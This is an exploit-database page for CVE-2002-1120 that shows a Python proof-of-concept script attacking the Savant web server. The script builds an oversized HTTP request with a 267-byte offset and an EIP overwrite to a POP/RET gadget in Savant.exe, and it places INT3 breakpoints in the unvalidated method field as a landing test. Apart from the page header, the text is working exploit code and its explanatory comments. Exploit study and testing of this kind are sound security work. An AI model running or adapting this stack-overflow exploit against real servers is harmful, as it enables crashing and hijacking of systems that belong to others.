Exploit database

GH-5eca59be3307b9c1b43208549c8d4cea

themalwareguardian/cve-2002-1120

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2002-1120

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Vulnerability/Exploit/09Python3Landing2.py

Python · 1,835 bytes
#!/usr/bin/env python3
import socket

# Define the target server IP and Port
target_ip = '127.0.0.1'
target_port = 80

# Offset to EIP (267 bytes)
offset = 267

# EIP overwrite. POP / RET gadget from Savant.exe (three byte overwrite). When POP / RET executes, it pops a value off the stack into a register and then returns, transferring execution to the beginning of the request where the GET keyword is, this is where the jump opcode will be placed later.
# 0x0041e157 : pop edi # retn  [Savant.exe]  ASLR: False, Rebase: False, SafeSEH: False
# Three byte overwrite, null byte (0x00) is added automatically.
eip = b'\x57\xe1\x41'

# The method field can hold more than 3 bytes, GET is 3 bytes but Savant does not validate the method length, so we can place as many bytes as we want here. We use 15 INT3 breakpoints to give a larger landing zone and confirm execution reaches the method field after POP / RET.
method = b'\xCC' * 15

# Build buffer
buffer = b'A' * offset + eip

try:
	# Create a socket object and connect to the server
	print('Exploit> Connect to target')
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.settimeout(5)
	s.connect((target_ip, target_port))

	# Build the HTTP GET request
	print(f'Exploit> Sending landing test')
	print(f'         Method : 15x INT3 (0xCC), execution should pause here after POP/RET')
	print(f'         EIP    : 0x00{eip[::-1].hex().upper()} (POP EDI / RET in Savant.exe)')
	request = (
		method + b' /' + buffer + b' HTTP/1.1\r\n'
		b'Host: ' + target_ip.encode() + b'\r\n'
		b'Connection: close\r\n'
		b'\r\n'
	)

	# Send the request
	s.send(request)

	# The server is expected to crash
	print('Exploit> The target server is expected to crash.')

except Exception as e:
	# Exception handling
	print(f'An error occurred: {str(e)}')

finally:
	# Close the connection
	s.close()